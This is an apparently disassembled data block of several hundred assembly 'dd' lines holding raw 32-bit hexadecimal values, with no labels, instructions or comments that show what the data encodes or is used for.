dd 0C42D3843h, 0EC007095h, 2A3EE62Eh, 0FA2503DAh, 0A3478736h
dd 0D06005D2h, 630A6168h, 501C138Bh, 0C2AD300h, 2C7B51F6h
dd 64F48262h, 3C548893h, 836A3703h, 0A053DF0Bh, 63E182CEh
dd 0E319297Bh, 0D588B783h, 200FB368h, 0C992BAA7h, 697C3055h
dd 0C4823A5Ch, 535B2102h, 8058B948h, 4C9622F0h, 1798465Ch
dd 0F033E233h, 0CD0BE172h, 88AA37D8h, 7600A350h, 3BFCC5F9h
dd 0E4B42CD2h, 69A10037h, 0DFA4D3E3h, 0C0992049h, 0A90D94h
dd 4BF4DC3Fh, 0B98DBF5h, 63E25043h, 4F3DA410h, 0D02F1500h
dd 51C616C9h, 0D450CD2h, 0F0204A3Ah, 9C7CAC48h, 780A1C80h
dd 0B12D3699h, 584B014Ch, 605E547Ah, 2B49B6A8h, 0F70E0568h
dd 8CC0E330h, 2EF0B969h, 0F4C553h, 27854C48h, 0A4F82ACAh
dd 0B361D060h, 0BFB772h, 0E968B14Fh, 7C95164Dh, 435C451Eh
dd 87E75440h, 1F97353Ch, 0C06B8ED2h, 7C246349h, 512A0DEFh
dd 4526A0EBh, 636014AAh, 9B7D2Dh, 74DAE107h, 0ADD4FEA0h
dd 6030D200h, 0D531524Fh, 11A6F765h, 0DD443EF0h, 0ADC5A038h
dd 9E0420DBh, 1292F198h, 40202DF9h, 5D8EFE80h, 9D38FB93h
dd 377D9474h, 0DD3C80F0h, 0C94199h, 0E45030A3h, 2479E30Bh
dd 753E0700h, 0C0273D72h, 55B000A4h, 0AB2DE8Fh, 5C00AECEh
dd 9752BBFFh, 60D429h, 6E65D346h, 0C7F7DD18h, 0DAA83D00h
dd 53284976h, 0B429C029h, 0D14FE3ACh, 627EBF00h, 0E0DE477Ah
dd 204C605Eh, 8B7C18D3h, 0C54BD201h, 0C4F0492Fh, 438FF0h
dd 0E84A661Dh, 8B829CC8h, 0CC902437h, 5C088846h, 6406ACFDh
dd 30859CE9h, 20AE9D00h, 0A073F7D5h, 4A4D005Fh, 8D99A521h
dd 0D40FDB8Fh, 43E36F8Eh, 0DA71A9h, 0EED77710h, 4D7094B3h
dd 2518B500h, 0C4E3D256h, 4585002Fh, 619A7A7Bh, 0C000D3D0h
dd 0A60431D7h, 0E4A9F764h, 0C826606Fh, 0B0F1C697h, 0FC17A4FCh
dd 0D300FA68h, 0F4CCFD87h, 1C18063Dh, 0F99AAC6Eh, 86729E1Fh
dd 840C8780h, 73A4621Bh, 0A9A306B7h, 28480693h, 0B0374D77h
dd 5F8060D3h, 75CFF7h, 214873C0h, 6185B59Dh, 0B8279600h
dd 0CB145F13h, 3DBB0CB6h, 7B99126Eh, 0E1BCF900h, 0B8A5AB31h
dd 884963A4h, 0AA06258h, 533A222Eh, 0C65680D6h, 54944BE0h
dd 4CB01C6Eh, 7A6040F7h, 72AFE281h, 25141003h, 7786AB2Eh
dd 0C27F00C9h, 62AEB336h, 677703Fh, 8381EC00h, 27808B85h
dd 0A0E214C9h, 0A218B02Bh, 0CC7F9924h, 0A976B800h, 0F7C3099Ah
dd 0A2B60A0Dh, 0B00E99h
dd 0B8E1D127h, 0E407E7A1h, 0F993A061h, 7CD36B40h, 52091D81h
dd 0C5D57h, 473A35DAh, 48F442C3h, 317C38F8h, 5D261B03h
dd 0E0335601h, 74791AFCh, 10C66061h, 406B5851h, 0BCC10800h
dd 0D41FBAF8h, 0C6443D10h, 0BF470D80h, 7D3CFB81h, 57E02D74h
dd 0D71C2BF0h, 465E316Ah, 7008211Bh, 0BD511F30h, 0E4F5D42h
dd 0DA006C81h, 0C4B80527h, 0B307261Bh, 4C847C0h, 3089A8AFh
dd 1100BF2h, 8210BEFBh, 3E58E4EAh, 1B01A238h, 157CBDCFh
dd 0FA0898A7h, 75A3E021h, 63690FA2h, 11F48DCh, 0F3239A3Bh
dd 81618362h, 98A46158h, 33E5BC36h, 0BF083DE0h, 0A212100h
dd 7856BB61h, 5D0F0059h, 1C1E9C96h, 0A0DF9848h, 0E48B6A03h
dd 7E6078A9h, 0C1B3609Fh, 8DF7544Dh, 78990400h, 3C1F9CEh
dd 0B9CA0C98h, 4040967Ch, 8A0327F6h, 9D070223h, 6008BE21h
dd 315B61A6h, 0D003F428h, 3F1C92B5h, 80CFB3FDh, 0C09C9EDDh
dd 0A91B2FA9h, 822AC09Bh, 780080EBh, 1CE19245h, 0A4BE7Ah
dd 0B02EB509h, 0E5D4F518h, 405CA100h, 0C75F7743h, 3EA2A68h
dd 89464470h, 4851F160h, 79ECB4E5h, 1A37002Fh, 0D6AD729Ch
dd 6A7B635Ah, 60E52918h, 0C7A5B891h, 0BB0541h, 0B5F03B5h
dd 4B2D0D07h, 220FC68Ah, 833BB070h, 2932B89Ch, 79900231h
dd 7671893h, 0A9FB3A39h, 0C6BF407Bh, 0B9C0DD1Bh, 76B078BEh
dd 25D4F1DEh, 0C8F8510Dh, 8BA06185h, 66D840E7h, 0E018061Ch
dd 58A3CF07h, 8DC19F53h, 9040C64Fh, 0F04D1C9Dh, 2CF00DDh
dd 0A0D67FB8h, 81600F6Dh, 0EEE47920h, 0CFDC3EE3h, 212D712h
dd 74739838h, 0EEE21048h, 80E38C30h, 10D45595h, 1FB1808h
dd 26D6FC01h, 20BB1911h, 608CFA92h, 0EA2B078h, 117F1B23h
dd 0B62A00F9h, 1F945BA2h, 9E9F0A1Ch, 74A8CFD1h, 3A009246h
dd 99887D0Fh, 6A90808Ch, 0D8F2AF37h, 7C6B6900h, 5AD0C142h
dd 1F7ED27h, 0DC2282F5h, 2915D806h, 630018ACh, 0F848BDB8h
dd 62734491h, 9E8848E8h, 2596C0A0h, 0C9011468h, 3FA58A65h
dd 0A840BFDEh, 182340ADh, 10D1635Dh, 0A186172h, 1969E580h
dd 0F3BD098Bh, 5C048D91h, 0ED60937Ch, 3A72139h, 534565BDh
dd 0E8529B35h, 480C3ED9h, 29810059h, 8DCC7355h, 0C1658E60h
dd 6C3ADC02h, 61550214h, 0BBFE58ABh, 5C10C519h, 0B7006167h
dd 0A6BB1C4Ch, 18F2BD0Fh, 6977B8FFh, 933F3F2Ah, 4CE700B4h
dd 5BC0C62h, 0A0222AC6h, 761E0A84h, 1AC5134h, 0FB43BF2Fh
dd 2002693h, 1B53A2AFh, 10F831B7h, 6A2C8D9h, 62650705h
dd 2530613Ch, 7BE821F2h, 58B1C2CFh, 0DCA1411Fh, 10CDFF66h
dd 3F0ECCE5h, 1400BAEEh, 36D2DE27h, 0D103B35Eh, 93113BC4h
dd 0A91F0A1h, 0D8F23026h, 44D7FD39h, 14633900h, 9FCA5A86h
dd 4CC97E03h, 7007E0FAh, 400C2610h, 89A13052h, 8B505474h
dd 28C2CB4h, 58AD6153h, 0CB19BC0Eh, 616D2210h, 0BD62A20Fh
dd 0A905C212h, 0ED6C99DDh, 80CE04CAh, 8E1AF26Fh, 0C0A27424h
dd 9A7BDE41h, 74210021h, 9C1295F5h, 0D6C7C4A0h, 990076CEh
dd 45D49BADh, 60FDC68Bh, 0C4F321B8h, 41754CEBh, 58048F9h
dd 3263D300h, 0FFF17CE1h, 77B67436h, 1D9F0C6h, 16F80A40h
dd 50E389EAh, 45B4ECC8h, 0D1323000h, 9B1ADC7Dh, 4C294CC6h
dd 51DA2B80h, 0C9499804h, 283080E0h, 8C2A2389h, 0FF60A744h
dd 3B5CD3C4h, 2D8A7BBEh, 988FB31h, 8C20F57Dh, 3524CABDh
dd 2AD06900h, 278D477Fh, 0AABC00CBh, 39043714h, 0A8007275h
dd 8C5744BDh, 0F86C91h, 86B940DAh, 0DD71C6C7h, 78BC6752h
dd 315C1E50h, 8391A30Ch, 0D4E9E5h, 5524F76Ch, 8D41D238h
dd 8364F202h, 0D678F4D1h, 82A93D26h, 40BA1F8Ch, 742C161Dh
dd 50388E85h, 67A5848Bh, 0D4808257h, 26CDD8DBh, 0A43CE52Ch
dd 0E0013ECCh, 6749CFDFh, 2809CB73h, 8202114Dh, 27A85858h
dd 491EB41Fh, 0C01880E7h, 1B41D9h, 0FB522AA6h, 76E4B1DBh
dd 24A00A4Ch, 1C0B5C01h, 5348A0A2h, 60E10BF3h, 7278119Ah
dd 2913C9BCh, 54426F65h, 7822A9A4h, 1DE0F741h, 3E38994Eh
dd 0CBC76788h, 0AF4C9303h, 58680ABEh, 0A8D01B7Bh, 1A390018h
dd 8F29D522h, 1C008EB5h, 2A5ABC89h, 30549250h, 1B38B3C7h
dd 0B824F09Dh, 0DD8000ADh, 362833C2h, 1F52F4D5h, 406C4B40h
dd 34EF5BB3h, 4606A185h, 128127ECh, 77B10071h, 17DD438Fh
dd 94029009h, 71F1B97h, 0D1F0A0BDh, 0C223159Fh, 83514D31h
dd 1B000CE4h, 975C2AA4h, 1C442E09h, 0DCF2715Dh, 4010E428h
dd 9D345A23h, 680CDE13h, 0C00BE408h, 91FEBD8Ah, 0E4228546h
dd 0BD92BA00h, 40B58B2Eh, 0B8221836h, 7014F19Eh, 42861800h
dd 7A623F60h, 542F0621h, 41E67B0Eh, 8D5A0501h, 24E8AEB4h
dd 91799C20h, 1D097C4h, 30BCAF77h, 1778C46Fh, 6D23410Bh
dd 91FC2007h, 0B0E77F1Ch, 0D801645Ch, 0AD7747D2h, 149D000Fh
dd 2E4B3ACh, 0E2E3401Fh, 0A78783B1h, 9D923080h, 1812BB9Ch
dd 4407A548h, 19B4FD78h, 7F637101h, 58A07062h, 1028EF2Eh
dd 844C9789h, 0E602D90h, 5823AE61h, 0CA1106h, 5F61688Fh
dd 1DA2195Dh, 0D331A78Ah, 23B43A76h, 0EF0601C9h, 62208FC1h
dd 0E2244258h, 0E36F30CAh, 2E0FD076h, 82DC51A5h, 40B90754h
dd 49552560h, 0A0408827h, 18986056h, 0D965E2C5h, 640949D3h
dd 0D8C0939Ch, 54BBF5E0h, 3E09F005h, 0FCA5F7C6h, 639214A4h
dd 1B5488A2h, 0C2618CAFh, 0A2B7DC51h, 3EF6E4DCh, 93095B4Ch
dd 60303A92h, 0E201FE4Dh, 20B382D0h, 0AC70BDE7h, 0FF048CB8h
dd 52238427h, 3D209862h, 1E142837h, 2E3A7287h, 781304A4h
dd 0C758034Bh, 9F49FC30h, 617F4CA1h, 16942666h, 0BF09BD37h
dd 0F394312Dh, 0BD7FA310h, 0F9973B04h, 6CA46A50h, 0FA513F44h
dd 1611F830h, 0D00824Ch, 8D3A8EECh, 0ED0AB5h, 0CB3FEE9h
dd 84346D40h, 5B096A13h, 690E7420h, 1564B04Fh, 8C9D66DDh
dd 98254102h, 984051C7h, 9F81D34Fh, 7776C833h, 1E79C418h
dd 89DCA41Dh, 18805C94h, 703B23F3h, 7BA78C6h, 364DC3DDh
dd 7B76D048h, 0C7EAE6FAh, 10C4F548h, 2905F157h, 936FFB6Dh
dd 0E6F1D608h, 12402D93h, 0F4117CA8h, 1B723D4h, 238B282Eh
dd 0B0282C3Ah, 28265Ah, 1CB2DAFCh, 0D1214412h, 2825703Ah
dd 834CD0E1h, 8CF6E860h, 0C14E4901h, 0DC9E1B10h, 0B818482Ch
dd 0FF9179A3h, 0E1D43805h, 1D8060CAh, 24AB6755h, 36C93A1h
dd 0CE0E169Fh, 1C125078h, 0A0231273h, 90A4BC2Fh, 88058C11h
dd 959230BDh, 0BC4C28h, 0EB2ABD90h, 8E1B3457h, 489EE024h
dd 5FA2F401h, 5881CDBBh, 0BC96257Bh, 0C1E302F9h, 0C245068h
dd 7950B902h, 0EE861892h, 0C5CD3B6Bh, 418C6C80h, 7317A8E1h
dd 117E7C18h, 0CF03A1h, 83022696h, 8A361E6Ch, 7E17FB4Ch
dd 0DB120A7Ch, 34865140h, 7AF4A08h, 59700C2Ch, 1A3E7C48h
dd 8B0EC00h, 1F25CC88h, 13044A5Bh, 80089B40h, 3609DABh
dd 9B3C2678h, 911584E8h, 80630BE1h, 6E1B489Ch, 204E6F90h
dd 879830D6h, 0C003E7BCh, 47B023DCh, 0E2AECB34h, 462C6421h
dd 27ED02B6h, 47222336h, 25370058h, 0A25FFB28h, 0C0632E00h
dd 514143CBh, 0A4E3545Dh, 4A21038Eh, 1F40CAB9h, 7099B6E1h
dd 0CE60F34Ch, 0AC5514D9h, 52DD0587h, 0C8470C38h, 6A17A158h
dd 0A8257B1Fh, 98C848CBh, 1477ABC0h, 19BC90E5h, 5078FB5Dh
dd 0BC4820F9h, 244C943Eh, 1006680Fh, 0B9097Bh, 32705DBFh
dd 88371511h, 90D2B300h
dd 9887BAA6h, 0F0E7491Bh, 0A60158E8h, 9474802Eh, 6430444Eh
dd 78E74965h, 3FADB09h, 5100F0B7h, 9A15E6F7h, 0BDC49E83h
dd 49A8ED01h, 709259D6h, 2D79A523h, 0A900F3ECh, 54F81A3Ah
dd 901318EFh, 6E1D0920h, 0C42C4D7Ch, 48CCC88h, 2388282Bh
dd 0E8C73932h, 1E23328h, 496C7C96h, 23CF363Fh, 8C023E4h
dd 891395C6h, 0A2ADC890h, 0DC66009Ch, 0F5D07B20h, 75135AC4h
dd 0F09488E6h, 0C92804C0h, 0DD6C1491h, 0C6010C70h, 8BD9F871h
dd 38ABF152h, 9FE8C570h, 0E720141Ah, 60F34404h, 0BAFC6C31h
dd 27529E4h, 18AD7990h, 9B0904CAh, 91445870h, 0C72051D0h
dd 0FCF4692Ch, 229BA04Fh, 88E741BFh, 0D8B97074h, 59A4B88Ch
dd 0ED80076Eh, 0E0EB7389h, 9D222650h, 73F9ECB0h, 4CAC2CE8h
dd 0A7E87990h, 88DF008Ch, 0B3411524h, 35030714h, 0F473693Ah
dd 40C802A4h, 0D44B729Bh, 0A931F880h, 9EF40D0Fh, 0E202D0B4h
dd 70CE0AEEh, 0DB581C80h, 0EC9BC96Bh, 0CF66007Fh, 1AB67FAFh
dd 0A81F1AF4h, 0F2EC0052h, 8C5AB426h, 0B291BD09h, 7D0C4124h
dd 6F27D980h, 10F75B59h, 3C6A69C0h, 0C762Dh, 255E2CE6h
dd 4CBFA1A9h, 45374E02h, 0E0A5CA99h, 5ADFBDh, 72399A8Bh
dd 0A0AA91D3h, 9226237Eh, 160096BBh, 0FDA356D9h, 0AD8B0F2Fh
dd 9700D855h, 135891BCh, 660098EEh, 852C5EA2h, 72519Ah
dd 0C56268Bh, 1041AB79h, 275C250Fh, 0A04AC7A1h, 0ABD95313h
dd 6802C02Dh, 977E050Fh, 0B0521C63h, 0D1F0E4Ch, 4C66D6F9h
dd 0AFA8FD60h, 25DA002Eh, 0D856F837h, 3A04EC31h, 9DE2BDC2h
dd 20105CA2h, 0F75AC199h, 8200C66h, 40701805h, 2D606895h
dd 18EF6130h, 0EC585CA5h, 9B11CBACh, 0E3A9A685h, 31CBB260h
dd 178FC54h, 0A713AF01h, 7D6C18BBh, 9C174070h, 6F74896Ch
dd 6067C804h, 25F2BD36h, 0CC962591h, 0BDBEA600h, 4FB6AAC5h
dd 605804DCh, 0D00A4125h, 48EC1664h, 4857A880h, 0E1E8F88Fh
dd 11830A8Ch, 16C0BB1Bh, 0FFDC8C47h, 0FBD840h, 0DCF0AEE4h
dd 0FA75E1CFh, 465EE0B4h, 0F55001CCh, 7ABF5F42h, 4E1C5064h
dd 0D8B414DBh, 18CA6E8h, 93EB8E03h, 0A0E57B4Ch, 502CB4A0h
dd 467430F4h, 5B7F0092h, 915C93ABh, 44E70C74h, 21A0A06Fh
dd 4F51D89Ch, 0EC977F12h, 280F091h, 346D7A2Ch, 77459E01h
dd 23C67C4Eh, 0CB256822h, 0C101E5E3h, 0A9518EB5h, 0CC6320BCh
dd 0C53095E2h, 3FA4003Eh, 47CB5976h, 58258CC9h, 0E588929Dh
dd 61F86470h, 802C2F52h, 44001E22h, 0FF94DFD0h, 3ABE2B4Eh
dd 54009FF4h, 0F3020FB8h, 0E2175AA2h, 0A404CAF8h, 0DC4EFC64h
dd 3287EBh, 0C811349Dh, 4757C387h, 0FA909043h, 14B01682h
dd 2E12D020h, 2DB4FBF5h, 0AC11DC97h, 5522A180h, 0B0BB75EBh
dd 9C9A7F17h, 0CB1383C0h, 900120A3h, 9BA84ABh, 18329B5Ah
dd 2066E616h, 84B5D894h, 1FCE749h, 0FE94BDA7h, 0C43891FAh
dd 59A2A1C0h, 608CA71Bh, 0CAD321EEh, 0EB0501A2h, 80B42869h
dd 1C0EC888h, 0C0C19E5Ah, 0A4477B5Eh, 64C4B210h, 8E046ECh
dd 49204A9Fh, 0D0EAF478h, 9200685Bh, 542AC697h, 8AF43CFDh
dd 0C50D500h, 0E6731C23h, 60A048C0h, 521A3563h, 0F9059824h
dd 0E5D8F70Eh, 347BE21Ch, 7A2FCAD0h, 5BC304F3h, 0C14F8DBFh
dd 307750F0h, 0FD12D8C8h, 449EEC6h, 91DC1770h, 1AB980E1h
dd 9707880h, 0B86F4CE7h, 9DDA1081h, 0A22063F9h, 83E730C9h
dd 0F5316416h, 0E2526004h, 0ADFAFC04h, 2F76A8C8h, 0D8109DE7h
dd 2FBFAF7h, 117897DCh, 923C81F5h, 0B034CF54h, 2B771249h
dd 71800063h, 661D7E13h, 444ACC2Ch, 43DA6201h, 5C487FFBh
dd 0FA208ABh, 0C1C2571Bh, 0B51D00F9h, 32009CA2h, 22CD60B6h
dd 28443B88h, 46A8730Ch, 610F0230h, 312E58D9h, 598E10C4h
dd 6C130061h, 970533E9h, 672FC0B2h, 90F88456h, 52A2A460h
dd 0C0DF1B21h, 0C2A2C9D6h, 0A52C087Fh, 0DC58001Ah, 9C918460h
dd 9E18ED71h, 29C32100h, 510258FEh, 470C251Bh, 8F5F782Bh
dd 5927A24Fh, 8A5849ACh, 0B706147Ch, 0A9E88389h, 5DB4B2Fh
dd 1CF0DA68h, 72D14579h, 5FA00A0h, 355B4574h, 120FC3Eh
dd 528B17E5h, 3DB9DB28h, 71390094h, 0F6D99ED2h, 6FC80640h
dd 51D3F45Fh, 49346900h, 0B9D0905Ch, 9F5600C2h, 0C042AFB4h
dd 92028CCDh, 5AB030D4h, 0D1016275h, 18CC7968h, 42A405FCh
dd 0E0CA7767h, 4F201CE4h, 13849695h, 0C8E48B79h, 1651C0A7h
dd 58B0556Fh, 8BA42205h, 4480F354h, 1E4FEDB3h, 6924FFE6h
dd 154500A0h, 0DB6D829Ch, 52DE1C07h, 0F190A850h, 1C6B2C97h
dd 0EFF3018Ah, 0C9912417h, 49A7E280h, 1197EBF3h, 86C469E8h
dd 1C0B00B2h, 0CA595482h, 7258877Eh, 3226A28Ch, 58AF7C81h
dd 0AC4E5Eh, 0FF610B20h, 49672F0h, 1AFD704Ch, 105CA808h
dd 0FF25A564h, 0C0B078E9h, 2A020F9Bh, 52225D1Fh, 54C48165h
dd 0D000BFABh, 4E5B0BF5h, 7B09605Ch, 0F2702F1Fh, 2F0C28h
dd 4025A7B2h, 0C7F227FBh, 0A17B69C0h, 0C5B5Fh, 46744281h
dd 2B66AC54h, 97685302h, 60EF6B1Ch, 4E0D5C3Ch, 0FD842193h
dd 117C399Fh, 410F639Eh, 483768FBh, 20CFB390h, 0DA233728h
dd 36808506h, 7DF8283Ah, 12530082h, 0EC04E170h, 78B980DFh
dd 0A17B30Ch, 0CADE00FDh, 0D5E24862h, 0CD2674A3h, 0BB0E4CC3h
dd 2FDCC24Eh, 0E984C0E1h, 4C67E40h, 661B019Eh, 0B40B808h
dd 22C52D70h, 6488E744h, 0FCCDEED8h, 924A801Ah, 6119BC65h
dd 9223682Eh, 0C3A60038h, 0C939A375h, 0BC1C039Bh, 8DCFDD68h
dd 3860DBB1h, 8C99BCF0h, 0DA243000h, 80D09E7Fh, 84634C9Ah
dd 89C01088h, 5B922DBDh, 0B9902C5Dh, 184915Ch, 0DD596586h
dd 0F1AEDB92h, 3D0D407Ch, 5F058E97h, 0A1B92D69h, 13558840h
dd 38CB4AFEh, 7FAE52Eh, 1BD39739h, 0C39CD462h, 7C05E41Ch
dd 0A7906369h, 0A20FBC03h, 0C21CD293h, 0B66480A2h, 2CD6F995h
dd 80BCB126h, 60ECFBF6h, 0CF04E019h, 2AA55D25h, 54B48081h
dd 80CD5470h, 4C24FC26h, 0BBAC88FBh, 0FA402001h, 0E84865DCh
dd 0FCEF195Ah, 0D014591Eh, 0BE5E1A9Bh, 0DC092812h, 0C4546504h
dd 6B5E60A7h, 0C62416A6h, 96009125h, 78F8C618h, 0DEC7541Ah
dd 84D060A9h, 0EF19C3A6h, 903FF0BCh, 0F42795h, 986FE120h
dd 581D331Eh, 90DD8969h, 0FFE2C530h, 0A9176B00h, 0DDCE9513h
dd 33751F50h, 664F84FBh, 8880CE88h, 4155C0C5h, 0DE00A42Ch
dd 5130BB7h, 4D94EF58h, 17104C1Bh, 617209D6h, 842C306Dh
dd 91F417BDh, 0A8D43835h, 4BD8C3Fh, 0D5D2F347h, 3A969CE8h
dd 39C82328h, 720D6800h, 3F49CDFEh, 8082564Bh, 70847332h
dd 9F25DA81h, 41204964h, 9230202Eh, 5F0035AFh, 0D03FCFAEh
dd 49434Fh, 0D68C9FC9h, 32F5C3BEh, 9AB9FC12h, 2B3A9489h
dd 0F9437C64h, 3246810Fh, 12D3DD21h, 3F84C60h, 0CD471900h
dd 0ED50474h, 1BE00006h, 0A1C08221h, 54721CC9h, 80C5674Eh
dd 0C8CEC824h, 0ECC39288h, 8145FBA5h, 54F9334Eh, 805C56F2h
dd 62877C65h, 0D612F8EAh, 8CB437Ah, 37E4F984h, 78DB3620h
dd 94C24B5h, 0D07E122Ch, 0CB67607Ch, 8534C800h, 0C6CF811h
dd 0D37A00BCh, 9FF7FB88h, 0B75DD744h, 0A4653C3Ch, 5A97DCD8h
dd 0BC1D600Ah, 3AC9515h, 0DDB47A02h, 31309676h, 94698467h
dd 2866D61Ch, 0FA507820h, 41B960E2h, 0A2391155h, 0EC2E034Eh
dd 89009923h, 45D9BEF7h, 0C8CC4EC0h, 0CF1F5438h, 0F8C0AA60h
dd 5192285h, 4D9C38D9h
dd 750F92h, 4154A923h, 0B5D5525h, 5AC603B8h, 0A9DAF4ABh
dd 0A851F01Eh, 0D187F77Eh, 0C05F5950h, 7F29FAB4h, 54D5D600h
dd 44E49CD1h, 940B4C03h, 0FC74407Bh, 82BFA4Bh, 0C2E4F910h
dd 468C60FBh, 0DE72008Ch, 0CDBF5CC7h, 0FB3C669Fh, 129683CEh
dd 901D990Ah, 0EE7D01BDh, 249C58DDh, 0D9980B97h, 682C9CC6h
dd 465E5472h, 1EE67FE2h, 0D50A8F77h, 887B36C9h, 3BB86B40h
dd 26C000FCh, 99568F5Dh, 0AF013176h, 214A5983h, 0C9804BB8h
dd 89369357h, 0CD00A247h, 0B3312E6Ah, 0FCE5575h, 0E3D7AA0Bh
dd 0BBEB5401h, 817C72D1h, 61B5DA8h, 7CA47CE2h, 0BE00CB46h
dd 0A4B2C315h, 9C0B7AA8h, 2140D890h, 76B9F710h, 414B1C62h
dd 92FA589Ch, 0F2C4327Fh, 5B3430EFh, 0D290660Eh, 5F798317h
dd 750EB63h, 6D238670h, 3C00C98Fh, 40FB4F7Ch, 88203C4Ah
dd 0DCF8AEh, 2A01C424h, 0B95792ABh, 0E71AA800h, 74A3D10h
dd 5EBC9C0Eh, 0B900FE46h, 0DC758874h, 71C051B8h, 7AD2E168h
dd 0B7BC034Ah, 762C2416h, 84078BB0h, 6888CE2Fh, 0AE0A9Ch
dd 74C36D44h, 8F145BFCh, 7C889700h, 0ABEFC612h, 0A14009AEh
dd 0C8503F8Dh, 465E00B6h, 0C5E007F8h, 0DCE41EA8h, 722578ECh
dd 0F0C45CE5h, 54401362h, 0E71EA175h, 0C4C17DF7h, 20692758h
dd 3178A07Dh, 7D11B91Fh, 0B741A763h, 69860070h, 53787BF3h
dd 0FE02DFE2h, 0E496859Fh, 0E4E5B7h, 0E52F2856h, 0B65DF75Ah
dd 0F8405098h, 85842FB5h, 0C1EBE0Eh, 0A684A850h, 4E3821B1h
dd 0CAE10F03h, 26960109h, 0D43C256Bh, 36C481A8h, 1121A3Fh
dd 0ACBC30DDh, 0D34ACAFAh, 56893422h, 1E348E40h, 7912E982h
dd 17DBF460h, 84C14F00h, 0B72F4C82h, 0D17D1889h, 0B49331DCh
dd 815B5427h, 0E8A71BA8h, 0CD877828h, 23A2832Dh, 9B99F1B8h
dd 751C1DBDh, 0E50814A6h, 8DE70075h, 0CA5D229Fh, 9A84948h
dd 0F0474C91h, 5CB62DE8h, 5AC0F0C8h, 30411F26h, 0E4909B82h
dd 0B9D8403Fh, 7080927Dh, 0A7D90049h, 76C75957h, 5AF46910h
dd 0B926E49Ah, 9B80D4A9h, 0C33B1CCFh, 0ADE1234h, 0D0B0E483h
dd 9AFA7103h, 2E12910Ch, 2504FC40h, 4418E490h, 20797B0Fh
dd 0CD81E12Bh, 0A9CC2327h, 2C0600B6h, 97D3D1A2h, 10B51D09h
dd 0D0ABDD4Ch, 6960448h, 8A32E28h, 2F87BCB6h, 30C0B584h
dd 26755AC5h, 41641396h, 503EF758h, 41637180h, 7C242126h
dd 11D8CF04h, 0A2FC4C8h, 0EBFC601Bh, 15B611ACh, 0C0D4F3h
dd 13BC4898h, 41E489h, 8C0C5743h, 3182C29Dh, 840FB4Eh
dd 11D93F2Ch, 789B00DEh, 0B0F49D24h, 5F0030BAh, 8553FA69h
dd 0A0209519h, 0F8F008h, 908BC552h, 0E349C225h, 424A1C00h
dd 235A17FFh, 83A00110h, 0FB11AA96h, 2613E471h, 79F63B77h
dd 8E5C6E3Bh, 2016F4CAh, 47087A5h, 0E34400B7h, 6A461C91h
dd 97609F90h, 29899640h, 0BCF300CCh, 73DC7176h, 0A8C03C72h
dd 0CA5707Fh, 0A67C16h, 0E0AB868Ch, 5F682A98h, 84CF200h
dd 35342FAAh, 7A280778h, 0B0EF4830h, 2D9804Dh, 19864B01h
dd 0C14E187Ch, 188CE7C3h, 0EA46070Bh, 1A10207Ah, 0C5E2D920h
dd 7637001Ah, 0FEC7485h, 77ED4536h, 0FC669920h, 0D03EBC72h
dd 3F150034h, 3C083144h, 0C00C0126h, 85DBB6D8h, 81650EECh
dd 80C4863Ch, 3F011484h, 412AB209h, 22F04367h, 2E0E00D9h
dd 0A14506C3h, 4D007502h, 0BE73AE6Eh, 2ACAECD1h, 0CA34ED6Ah
dd 84802C08h, 6B4CE0F6h, 70E7A043h, 11E30763h, 0F9CE3D00h
dd 4DFB915Eh, 0C96F00D2h, 2B7C80BCh, 0A53D11E5h, 9E8B1464h
dd 460603F4h, 829F16F9h, 7C0C409Ah, 6B420FD2h, 892C655Ah
dd 22844A29h, 0DE42ADF3h, 21B67411h, 0AEEA087Eh, 0B584BA90h
dd 8615EB4h, 0A690AF32h, 48B26784h, 929142B6h, 0EC228224h
dd 9B10BA11h, 8100C760h, 0E863F505h, 0FEF641ECh, 68F20026h
dd 1F43A7EBh, 0A000E5C6h, 15478639h, 76313DB1h, 588507E0h
dd 70A7C00Ah, 431C98A2h, 0C6C97600h, 828C64EBh, 0F85B0090h
dd 7BFD6965h, 2B0F32E5h, 2B92681Fh, 0D5EE80EEh, 2FF41629h
dd 0D240F3F2h, 7F01CE42h, 13956A9Bh, 80DB08EEh, 199F5Bh
dd 8E07F3EBh, 9568A86Bh, 819D3500h, 3CAA47ABh, 0D9F0DCh
dd 0A5F7F80Ah, 0E81F4680h, 0D700D178h, 527B6DB6h, 1E26EAE7h
dd 0C03FA3A8h, 90EECC2Bh, 1E1D6622h, 4FC062ACh, 0C338E16Fh
dd 334A0025h, 46934042h, 21006ED1h, 0F15354C8h, 0F6DEB915h
dd 0B8D8093Ch, 80A039h, 7FFB2010h, 322EFD00h, 0EDF0828Eh
dd 9C0100CEh, 197AF936h, 2002BA9h, 2877BABCh, 956968h
dd 79BE0B5Ch, 7A37DAE6h, 85E99B0Ch, 0CAF44Fh, 0D9B8EEC0h
dd 0A681EBCBh, 0BD625000h, 774ABCB4h, 60114C36h, 0B5D4D703h
dd 0C0AC2E96h, 0E73A461h, 8E001A7Fh, 0B100AE9h, 3054A3B7h
dd 0BA8CD7A6h, 0C318C025h, 8F10D666h, 63960C3Fh, 0B3D8126Bh
dd 6A41420h, 67C5332Bh, 0F50028C2h, 60E56EE2h, 497D69h
dd 0FCDA2BAAh, 0B28F0194h, 0E8162626h, 52803D00h, 38BD1474h
dd 0DCBA3278h, 5DDE5783h, 12D8352Ah, 1403AAA1h, 70E7585h
dd 66C68015h, 6281007Eh, 0AD84E5FAh, 0B3FC32BCh, 802B1F07h
dd 7F90D311h, 12468FCh, 417995D7h, 0F8AFDDD8h, 0CA004662h
dd 0ED60B6EBh, 71F4A1EAh, 6F0002Bh, 204A76C8h, 2A001673h
dd 27AEC346h, 0F4E87F94h, 9F5000AAh, 0B4FD4A6h, 0ED076345h
dd 39A41832h, 0C2F0A5B7h, 0EB2C05h, 0B66A3D40h, 5B9CCC44h
dd 0F8672601h, 57B57BF4h, 2876A6E8h, 39CC07D9h, 6C0082BAh
dd 0F0170438h, 890081BFh, 0D4231B1Dh, 0AF98CCh, 0DF0657B7h
dd 279EF945h, 781A9A24h, 0F2C1ED87h, 897900AFh, 6B572Eh
dd 0E98621A7h, 206E6124h, 984FF607h, 0C5F5F503h, 0A07E9C02h
dd 44C0A016h, 0EAB87F73h, 9C1E0071h, 686D0BEAh, 0D1EE404h
dd 5BDEE332h, 0D310B740h, 0C82C51h, 0FFD04A8Bh, 3E304682h
dd 1396E3Eh, 0F0FC757Bh, 5020D152h, 914E06BEh, 10D068BDh
dd 43CAE504h, 0ADC0D5FCh, 74403381h, 0BF0F0276h, 17C15B4Ah
dd 0D2015442h, 0D4876E69h, 9E00DE85h, 7E1B3BFh, 0E92B67h
